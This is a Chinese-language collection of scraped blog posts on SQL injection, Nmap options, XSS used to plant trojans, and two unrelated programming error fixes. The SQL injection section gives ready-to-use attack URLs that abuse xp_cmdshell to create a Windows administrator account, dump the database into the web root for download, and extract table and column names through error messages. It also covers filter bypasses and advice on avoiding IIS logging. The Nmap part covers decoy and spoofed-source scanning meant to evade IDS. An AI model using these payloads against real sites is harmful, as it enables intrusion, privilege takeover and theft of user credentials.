SQL注入

SQL一些简单注入的整理
对于此文章最好不要复制粘贴因为有些符号使用中文的符号例如“;”有的也是英文的。

程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。

我们在这个地址后面加上单引号’如果返回错误则表示有可能存在注入。并且从返回信息中我们就可以获得一些信息、(为什么。。。。)
而有些程序员会把单引号过滤掉那么这样就不行了。
所以经典的1=1、1=2测试会更有效  (原因)

用and user>0 语句可以判断数据可类型。
如果不返回错误信息,那么可以用此方法:可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.***.com*.asp?id=1;exec master..xp_cmdshell “net username password /add”-- 
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http:/**.asp?id=1;exec master..xp_cmdshell “net localgroup nameadministrators/add”--  将新建的帐号name加入管理员组,这样你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。  
③ http:/**.asp?id=1 ;;anddb_name()>0
前面有个类似的例子and user>0,
作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http:/**.asp?id=1;backup database 数据库名 todisk=’c:inetpubwwwroot1.db’;--
这样可以从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!有时候不知道绝对路径就要用别的方法了,此方法成功率比较低。。。
⑤ http:/**.asp?id=1 ;;and (Select Top 1 name from sysobjects wherextype=’U’ andstatus>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ andstatus>0,表示用户建立的表名(好吧我没明白),上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。接着是第二个第三个。。。
⑥ http:/**.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1)from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个列名,将1换成2,3,4...就可以逐个获取所猜解表里面的列名。

绕过限制:
再有过滤敏感字符时可以绕过他如:
where xtype=’U’,字符U对应的ASCII码是85,所以可以用wherextype=char(85)代替;
如果字符是中文的,比如where name=’用户’,可以用wherename=nchar(29992)+nchar(25143)代替。

有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

特别注意:地址栏的+号传入程序后解释为空格,+解释为+号,%解释为%号,具体可以参考URLEncode的相关介绍。

用Get(请求读取由URL所标识的信息)方法注入时,IIS会记录你所有的提交字符串,对Post(给服务器添加信息)方法做则不记录,所以能用Post的网址尽量不用Get。

此文章通过 python 爬虫创建,原文是自己的csdn 地址: SQL注入

Nmap简要总结

NMAP

注:软件很是区分大小写而在记录时可能没注意所注意在输入命令时可以留一下。

扫描IP后面加一个/24如:192.168.10.0/24则表示扫描192.168.10.0到192.168.10.255之间的256台主机。/16怎表示扫描192.168.0.0到192.168.255.255之间的65536个主机。加/1怎会扫描半个互联网最大值是/32最小值/1.
其实也可以写成1-200.168.10.10(但是ipv6不可以这样只能规范的一点点的写)

-iL(inputfilename)就是把要扫描的主机放到文件中有-iL来读取可以使ip地址,主机名,CIDRIPV6等。但是每一项要用制表符或至少一个空格分开。

-iR<hostnum>命令是输入num即告诉声称多少ip随机的。私有的组播的或未分配的会自动略过。-iR0 表示无休止的扫描。
如-sS -PS80 -iR 0 -P80

-P*选项是用来指定ping的类型可以被结合使用。

-sL(列表扫描)****************

-sP(ping扫描)
仅仅是ping扫描打印出做响应的主机没有进一步测试。
所以可以得到目标的网络信息而不被注意。可以和除了-P0以外的-P*命令结合使用。

-P0(无ping)*********************

-PS(TCPSYNping)
发送设置了SYN标志位的空TCP报文。默认端口为80可以用逗号分隔要扫的端口例:-PS22,23,25,80,135,139,3389,

-PA(TCP ACKPing)默认端口为80可以用逗号分隔要扫的端口。
-PA22,23,25,80,135,139,3389,(注意这里的-PA后不要加空格,还有最后那个端口要加逗号。上面的-PS命令也是要求这样。逗号一定是英文的逗号。。。)

-PU(UDPping)
端口默认是31338
优点是可以穿过只过滤TCP的防火墙和过滤器。

-PE;-PP;-PM (ICMP PingTypes)
Nmap也可以发送世人皆知的ping程序所发的报文。-PE打开回声请求功能,时间戳查询-PP地址掩码查询-PM。时间戳响应(ICMP 代码14 )或者地址掩码响应(代码18)表示主机在运行。

-PR(ARPPing)
最常见的Nmap使用场景之一是扫描一个以太局域网。

-n(不用域名解析)
告诉Nmap不用对他发现的活动ip地址进行反向域名解析。既然DNS一般计较慢这样可以快些。

-R(对所有目标解析域名)
告诉Nmap不用对他发现的活动ip地址进行反向域名解析。

nmap<target>
这个简单的命令扫描主机上的超过1660个TCP端口并探测他们的状态
有6种:open(开放的)、closed关闭的、filtered被过滤的、unfiltered未被过滤的、open|filtered开放的或者被过滤的、closed|unfiltered关闭的或者未被过滤的。

-sS (TCPSYN扫描)
SYN扫描执行快,不完成TCP连接

-sT(TCPconnect()扫描)

-sU(UDP扫描)

-sN -sF -sX(TCP Null,FIN,andXmas扫描)
-sN Null扫描
-sF FIN扫描
-sX Xmas扫描

-sA (TCPACK扫描)
他不能确定是open还是open|filtered它用于发现防火墙规则,确定他们是有状态的还是无状态的哪些端口是被过滤的。

-sM (TCPMaimon扫描)

-sI(Idlescan)
这种高级的扫描方法允许对目标进行真正的TCP端口忙扫描(意味着没有报文从你的真实IP地址发送到目标)。默认端口80.

-sO (IP协议扫描)
可以让你知道目标机支持哪些IP协议(TCO,ICMP,IGMPM等)(其实他不算端口扫描它遍历IP协议号而不是TCP或者UDP端口号。)

-b<ftp relayhost> (FTP弹跳扫描)
许多服务器已经停止支持他了。。。

-p <portranges>(只扫描指定的端口)
单个端口和用-连接的都可以如:1-1023可以在端口前加上T(TCP);U(UDP)如:-p U:53,111,127,T:21-25,80,139,8080 同时你必须指定一个扫描类型如-sU (-sT , -sF , -sT)

-F(快速(有限的端口)扫描)

-r(不要按随机顺序扫描端口)
默认情况下Nmap按随机顺序扫描端口-r即是按顺序扫描端口

-sV (版本探测)
-O(启用操作系统检测)
用-A可以同时打开操作系统探测和版本探测

--allports(不为版本探测排除任何端口)

--version-intensity<intensity>(设置版本扫描强度)
强度值在0-9之间 数值越高越准确但是花费的时间越长。
--version-light(打开轻量级模式)
--version-intensity 2的方便的别名
--version-all尝试每个测试
--version-trace跟踪版本的扫描活动

-sR(RPC扫描)
-sV探测出的信息比他全面的多所以一般不用。

-T<Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>(设置时间模版)
使用时用-T和0-5数字或名称,Paranoid-0,Sneaky-1,Polite-2,
Normal-3,Aggressive-4,Insane-5、前两种用于躲避IDS,Polite降低了扫描速度已使用更少的带宽和目标主机资源。Normal是未被优化的、Aggressive是假设用户具有和实际可靠的网络从而加速扫描。Insane是假设用户具有特别快的网络或者愿意获得速度为牺牲准确性

-f(报文分段);--mtu(使用指定的MTU)
-f要求扫描时使用小的IP包分段。而--mtu可以自定义偏移的大小偏移量应是8的倍数。

-D<decoy1[,decoy2][,ME],...>(使用诱饵隐蔽扫描)
用逗号分隔每个诱饵主机也可以使用自己真实IP做诱饵,这是使用的是ME选项。从而达到使IDS不知道哪个IP在扫描以及哪些不是诱饵。如果在第六个位置或更后的位置使用ME选项一些常用的端口扫描器就不会报告这个真实的IP。如果不用ME选项NMAP会随机将ME放在个位置上
注意:有二主机必须在工作状态否则会导致目标主机的SYN洪水攻击也可以使用IP地址代替主机名。(这样被诱骗的网络就不能再名字服务器日志中发现)
幼儿可以使用初始的PING扫描(ICMP,SYN,ACK)或真正的端口扫描,也可以用于-O即操作系统检测。而版本或者TCP扫描诱饵无效

-S<IP_Address>(源地址哄骗)
某些情况下Nmap不知道你的源地址(这是Nmap会给出提示)此时使用-S命令说明所需发送报的接口IP地址。
另一个用处是哄骗性扫描是目标认为是另一个地址在扫描他。-e或-P0通常在此时使用。

-e<interface>(使用指定的接口)

--spoof-mac<mac address,prefix,or vendor name>(MAC 地址哄骗)

要求 Nmap 在发送原以太网帧时使用指定的 MAC地址,这个选项隐含了 --send-eth 选 项 ,以保证 Nmap 真正发送以太网包。MAC 地址有几种格式。如果简单地使用字符串“0”,Nmap选择一个完全随机的 MAC地址。如果给定的字符品是一个16进制偶数(使用:分隔),Nmap将使用这个 MAC 地址。 如果是小于12的16进制数字,Nmap会随机填充剩下的6个 字 节 。如果参数不是0或16进 制字符串,Nmap 将通过 nmap-mac-prefixes
查找厂商的名称(大小写区分),如果找到匹配,Nmap 将使用厂商的 OUI(3字节前缀),然后随机填充剩余的3个节字。正确的--spoof-mac 参数有,

Apple, 0,01:02:03:04:05:06,deadbeefcafe,0020F2, 和、Cisco.

输出:

-oN<filespec> (标准输出)

要求将标准输出直接写入指定的文件。如上所述,这个格式与交互式输出 略有不同。

-oX<filespec> (XML 输出)

要求 XML 输出直接写入指定 的文件。Nmap包含了一个文档类型定义(DTD),使 XML 解析器有效地 进行 XML 输出。这主要是为了程序应用,同时也可以协助人工解释 Nmap的XML 输出。

-oA<basename> (输出至所有格式)

为使用方便,利用-oA<basename>选项可将扫描结果以标准格式、XML 格式和 Grep 格式一次性输出。分别存放在<basename>.nmap,<basename>.xml和 <basename>.gnmap 文件中。也可以在文件名前指定目录名,如在 UNIX 中,使用~/nmaplogs/foocorp/, 在 Window中,使用 c:hackingscoon Windows。

-v(提高输出信息的详细度)

-d [level](提高或设置调试级别)
当详细模式也不能为用户提供足够的数据时,使用调试可以得到更多的信息。使用细节选项(-v)时,可启用命令行参数(-d),多次使用可提高调试级别。也可在-d后面使用参数设置调试级别。例如,-d9设定级别9。这是最高的级别,将会产生上千行的输出,除非只对很少的
端口和目标进行简单扫描。

--iflist(列举接口和路由)

输出 Nmap 检测到的接口列表和系统路由,用于调试路由问题或设备描述失误(如 Nmap 把PPP 连接当作以太网对待)

此文章通过 python 爬虫创建,原文是自己的csdn 地址: Nmap简要总结

unresolved external symbol _WinMain@16的解决方法

unresolved external symbol_WinMain@16的解决方法(转)
 

当我们在使用VC开发C++的时候会遇到一些连接错误,这些错误比编译错误要难改正,笔者今天就遇到这样一个错误

1.问题描叙:

error LNK2001: unresolved external symbol _WinMain@16
debug/main.exe:fatal error LNK 1120:1 unresolved externals
error executing link.exe;
2.产生该错误的原因

a.你建立了一个WINDOWS应用程序,可是你却在入口函数的时候使用main而不是WinMain;

b.你用vc打开了一个.c/.cpp文件,然后直接编译这个文件,这个文件中使用了WinMian而不是main作为入口函数。vc这时的默认设置是针对控制台程序的。

3.解决方案

a.改正入口函数;

b.进入project->setting->c/c++,在category中选择preprocessor,在processor definitions中删除_CONSOLE,添加_WINDOWS;

c.2.进入project->setting->Link,在Project options中将 /subsystem:console改为/subsystem:windows.

此文章通过 python 爬虫创建,原文是自己的csdn 地址: unresolved external symbol _WinMain@16的解决方法

跨站挂马全攻略

跨站挂马全攻略   

转载请注明版权:http://a1pass.blog.163.com/   A1Pass   《黑客X档案》

 现在的黑客攻击手法中,跨站挂马似乎正在逐渐成为攻击的主流话题,鉴于这种形势,俺就把我学习跨站挂马的一点心得总结出来与大家分享。

由于考虑到知识的认知过程以及入门朋友们的技术底子问题,本文将分为“基础知识”、“跨站漏洞”与“挂马技巧”三部分组成,咱们先来学习一下基础知识,以及跨站攻击的利用方法。

一、基础知识

1、什么是UBB码

XSS攻击主要在两种环境下进行,一个是用户自己构造的比标签,构造者汇总标签要严格遵循HTML标记语言,而UBB码是HTML的一个变种,属于系统提供的标签。UBB代码简单,功能很少,但是由于其TAG语法检查实现非常容易,所以许多网站引用了这种代码,以方便广大网友的使用,当然,同时也为我们打开了方便之门。

下面我列出几个例子,以便大家对UBB码有一个感性的认识。

显示为粗体效果:[B]文字[/B]

显示为斜体效果:[I]文字[/I]

显示文字的超链接:[URL= http://www.hackerxfiles.net/]黑客X档案官方站[/ URL]

通过上面的例子,我们可以看出来UBB码用的是中括号标签“[”与“]”。

为什么介绍这些?因为关键时候,我们借助UBB码也可以达到跨站的效果。

 

二、什么是跨站漏洞

所谓的跨站漏洞,就是一种往数据库里插入特定恶意代码的一种攻击技术,它被称为“XSS”或“CSS”,懂网页设计的朋友可能会困惑,CSS不是层叠式样式表的简称吗?没错,只不过是重名而已,因为跨站攻击的英文是Cross-SiteScripting,所以简称为CSS。但是为了与层叠式样式表区分,现在普遍叫做XSS。那么XSS为什么会被称作为跨站攻击呢?这是因为黑客通过别人的网站脚本漏洞达到攻击的效果,就是说可以隐藏攻击者的身份,因此叫做跨站攻击。其实“Cross-SiteScripting(跨站点脚本)”在意义上来讲是属于错误的名字,因为XSS攻击与脚本基本无关不说,甚至根本不一定是跨站点的。但是这在刚刚发现这种攻击手法时就起了这样一个名字,所以沿用至今,大家也就只能接受了。

对于受到XSS攻击的服务器来说,被插入恶意代码的WEB程序会永久的储存这些代码,除非人为的删掉它!当有人访问这个WEB程序下的某个页面时,恶意代码就会混杂在正常的代码中发送给浏览者,从而导致浏览器执行相应代码,因此达到黑客的攻击目的。

一般情况下来讲,人机交互比较高的WEB程序更容易受到XSS攻击,比如论坛、留言板与带有评论功能的新闻系统等等。而当黑客成功插入相关恶意代码时,那么他就可以挂马、获取管理员的登陆Cookie、强制执行操作甚至格式化浏览者的磁盘(不过用IE6.0的朋友不用担心硬盘被格式化,因为IE6.0的默认安全规则会阻止这些危险动作的发生)!只要是脚本能够实现的功能,跨站攻击同样能达到,因此XSS攻击的危害程度甚至与溢出攻击都是不相上下!

 

三、跨站攻击的原理

其实,XSS攻击的本质还是注入的问题,只不过XSS攻击注入的是恶意的HTML脚本而已。但是这些注入的恶意代码为什么会被执行呢?这其实是由于浏览器的不足造成的。

因为浏览器在接受数据时,他无法辨认哪些是应该解释的代码,哪些是不需要解释的数据。如果是数据,浏览器完全可以简单的将其显示出来即可,但可悲的是浏览器做不到这点,只要碰到符合条件的标记,他就会将其解释执行,从而给我们XSS攻击埋下伏笔。

所以如果WEB程序在接受数据时如果不做有效的过滤,就会导致恶意代码进入数据库,而且我们注入的JavaScript代码可以在安全策略准许的范围内执行任何操作,如果这段JavaScript代码可以让对方的电脑下载并执行你的木马时,这就是我们所说的“挂马”了。

归根结底,跨站攻击的根本漏洞就在WEB程序里,大家可以看看图3。

跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

有助于你进一步理解XSS攻击的含义,我们通过图3可以看出来,如果WEB程序能做跟好的滤,XSS攻击是完全有可能被避免的。

此文章通过 python 爬虫创建,原文是自己的csdn 地址: 跨站挂马全攻略

关于ruby提示 invalid multibyte char (US-ASCII)解决办法

最近ruby版本

ruby 1.9.3p286不能输出中文
遇到中文会报错invalid multibyte char (US-ASCII)解决办法
网上很多办法是在第一行加上
#encoding:utf-8
但是进过测试发现 应该是第一行加上
#encoding:gbk
例如
#encoding:gbk
 a = 5
 b = 6
 f = 5*6
 puts "hello world"
 puts "#{a}和#{b}的乘积是#{f}"
这样就可以了

此文章通过 python 爬虫创建,原文是自己的csdn 地址: 关于ruby提示 invalid multibyte char (US-ASCII)解决办法